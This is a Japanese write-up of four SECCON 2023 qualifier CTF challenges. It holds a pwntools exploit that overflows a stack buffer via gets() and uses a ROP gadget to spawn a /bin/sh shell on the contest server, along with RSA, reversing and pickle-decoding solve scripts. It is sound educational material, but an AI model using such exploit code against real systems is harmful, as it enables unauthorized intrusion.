SECCON CTF 2023 Quals Writeup

# はじめに
SECCON 2023 Quals に参加しました．
4 問しか解けず全体で 99 位，国内では 39 位でした．

# rop-2.35
```
author:ptr-yudai
warmup
The number of ROP gadgets is declining worldwide.

nc rop-2-35.seccon.games 9999
rop-2.35.tar.gz 4402ebe419228899643b42b7f39540f65a5d8dc5
```
* セキュリティ機構
    ```
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ```
* コード自体はめちゃくちゃシンプル
    ```c
    #include <stdio.h>
    #include <stdlib.h>

    void main() {
        char buf[0x10];
        system("echo Enter something:");
        gets(buf);
    }
    ```
* スタックベースの BOF で No PIE なので実行ファイル上は自由に飛べる
* rax に入力のアドレスが入ってるから ```0x0000000000401169``` に飛べばいけると思ったけど system 関数が呼び出されるときにスタックが上書きされるので，入力したのが消える
    ```
    pwndbg> disass main
    Dump of assembler code for function main:
       0x0000000000401156 <+0>:     endbr64
       0x000000000040115a <+4>:     push   rbp
       0x000000000040115b <+5>:     mov    rbp,rsp
       0x000000000040115e <+8>:     sub    rsp,0x10
       0x0000000000401162 <+12>:    lea    rax,[rip+0xe9b]        # 0x402004
       0x0000000000401169 <+19>:    mov    rdi,rax
       0x000000000040116c <+22>:    call   0x401050 <system@plt>
       0x0000000000401171 <+27>:    lea    rax,[rbp-0x10]
       0x0000000000401175 <+31>:    mov    rdi,rax
       0x0000000000401178 <+34>:    mov    eax,0x0
       0x000000000040117d <+39>:    call   0x401060 <gets@plt>
    => 0x0000000000401182 <+44>:    nop
       0x0000000000401183 <+45>:    leave
       0x0000000000401184 <+46>:    ret
    ```
* これがあったので，スタックをずらしてから呼ぶ
    ```
    0x0000000000401016 : add rsp, 8 ; ret
    ```

```py
from pwn import *

io = remote('rop-2-35.seccon.games', 9999)

addr_call_system = 0x0000000000401169
rop_add_rsp = 0x0000000000401016

payload = b'/bin/sh\x00'
payload += p64(0)
payload += p64(1)
payload += p64(rop_add_rsp) * 6
payload += p64(addr_call_system)
io.sendline(payload)

io.interactive()
```

# plai_n_rsa
```
author:kurenaif
warmup
I've dropped the "n" ... where is my "n" :(

dist.tar.gz 0fe2638037ee07b46f41d646ea94e2830d338774
```
* RSA で $e, d, p+q$ が与えられている
* $e \cdot d = 1 \mod{(p - 1) \cdot (q - 1)}$ なので，以下の式が成り立つ
    $$
    e \cdot d - 1 = (n - hint + 1) \cdot k
    $$
* $n$ は 2048 ビットで，左辺は計算してみると 2063 ビットなので，$k$ は 15 ビットぐらい
* $k$ は $e \cdot d - 1$ の因数なので，$e \cdot d - 1$ の小さい素因数の組み合わせを試す

```py
from Crypto.Util.number import *
import itertools
from gmpy2 import iroot

e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813

ks = [2, 2, 2, 2, 5, 7, 23, 43, 67, 1181, 7591, 7658627]

ed_1 = e * d - 1
for i in range(1, len(ks)):
    for lst in itertools.permutations(ks, i):
        k = 1
        for l in lst:
            k *= l
        n_h_1 = (ed_1) // k
        n = n_h_1 + hint - 1
        sq = hint**2 - 4 * n
        if sq > 0 and iroot(sq, 2)[1]:
            print(f'{n = }')
            m = pow(c, d, n)
            print(long_to_bytes(m))
            exit()
```

# jumpout
```
warmup
author:ptr-yudai
Sequential execution
jumpout.tar.gz 20551442563bc7ad9c8d21806f85c68603f3822a
```
* ghidra で開いてみたけど main がわけわからん
* スタックにジャンプするアドレスが積んであるっぽい
    ```
    pwndbg> tele $rsp
    00:0000│ rsp 0x7fffffffd9f0 —▸ 0x555555555170 ◂— endbr64 
    01:0008│     0x7fffffffd9f8 —▸ 0x555555555210 ◂— endbr64 
    02:0010│     0x7fffffffda00 —▸ 0x5555555551f0 ◂— endbr64 
    03:0018│     0x7fffffffda08 —▸ 0x5555555551d0 ◂— endbr64 
    04:0020│     0x7fffffffda10 —▸ 0x555555555238 ◂— endbr64 
    05:0028│     0x7fffffffda18 —▸ 0x5555555551a0 ◂— endbr64 
    ```
* 関数を探していると FLAG を確かめているっぽいところが見つかる (変数名とかは書き換え済み)
    ```c
    undefined8 check_flag(char *input)
    {
        long lVar1;
        size_t input_length;
        ulong i;
        long in_FS_OFFSET;
        
        lVar1 = *(long *)(in_FS_OFFSET + 0x28);
        input_length = strlen(input);
        if (input_length == 0x1d) {
            do {
            i = 0;
            do {
                check_flag2(input[i],i & 0xffffffff);
                i = i + 1;
            } while (i != 0x1d);
            } while( true );
        }
        if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                            /* WARNING: Subroutine does not return */
            __stack_chk_fail();
        }
        return 1;
    }
    ```
* その中で呼び出されている関数
    ```c
    uint check_flag2(uint c,uint i)
    {
        long in_FS_OFFSET;
        
        if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
                            /* WARNING: Subroutine does not return */
            __stack_chk_fail((long)(int)i,i,7);
        }
        return c ^ i ^ 0x55 ^ (uint)(byte)(&DAT_00104010)[(int)i];
    }
    ```
* FLAG の長さが 0x1d なのはわかったけど，check_flag2 の戻り値をどうしてんのかがわからない
* XOR しているデータ DAT_00104010 の直後にも同じ長さのデータがあって，以下のように試してみると一致するのでここと比較していることがわかる
    ```
    >>> ord('S') ^ 0 ^ 0x55 ^ 0xf6
    240
    >>> ord('E') ^ 1 ^ 0x55 ^ 0xf5
    228
    >>> ord('C') ^ 2 ^ 0x55 ^ 0x31
    37
    >>> ord('C') ^ 3 ^ 0x55 ^ 0xc8
    ```

```py
data1 = open('jumpout', 'rb').read()[0x3010:0x3010 + 0x1d]
data2 = open('jumpout', 'rb').read()[0x3030:0x3030 + 0x1d]

flag = ''
for i in range(0x1d):
    flag += chr(i ^ 0x55 ^ data1[i] ^ data2[i])
print(flag)
```

# Sickle
```
author:Xornet
Pickle infected with COVID-19

Sickle.tar.gz 2ca5177b8ced35c355100c626f6273339780f58c
```
* [【Python】pickle（漬け物）は仮想マシンだった——仕組みとリスク](https://qiita.com/tanuk1647/items/4c2a305c7cc4e12ef99d) と [pickle.py](https://github.com/python/cpython/blob/main/Lib/pickle.py) を参考に復元する
* ```pickletools.dis``` で逆アセンブルできるけど，```.``` が ```STOP``` 命令で，そこで逆アセンブルが終了してしまうので，それを取り除くのとその memo が既に使われているとかいうエラーがでるのでその辺の命令をうまいことする
* これを読むと以下のようになっているっぽい
    ```
    lst1 = [int.from_bytes(flag.encode()[8:16], 'little')]

    lst2 = [pow(lst1.__getitem__(0) ^ 1244422970072434993, 65537, 18446744073709551557)]
    ```
* この段階で読み切ってしまったけど，最後に lst2 を以下のリストと比較している
    ```py
    lst =[
        8215359690687096682, 
        1862662588367509514, 
        8350772864914849965, 
        11616510986494699232, 
        3711648467207374797, 
        9722127090168848805, 
        16780197523811627561, 
        18138828537077112905
    ]
    ```
* 足りないし，入力した flag の 16 文字目以降が出てこなかった (そんなはずない)
* おそらく 8 文字ずつ処理しているはずなので適当に予想すると当たった

```py
from Crypto.Util.number import *


p = 18446744073709551557
e = 65537
mask = 1244422970072434993
lst =[
    8215359690687096682, 
    1862662588367509514, 
    8350772864914849965, 
    11616510986494699232, 
    3711648467207374797, 
    9722127090168848805, 
    16780197523811627561, 
    18138828537077112905
]

flag = b''
d = pow(e, -1, p - 1)
for i in range(len(lst)):
    x = pow(lst[i], d, p)
    if i == 0:
        flag += long_to_bytes(x ^ mask)[::-1]
    else:
        flag += long_to_bytes(x ^ lst[i - 1])[::-1]

print(flag)
```
* 見つけられなかったけど，pickle をどうにかできるツールがあるはず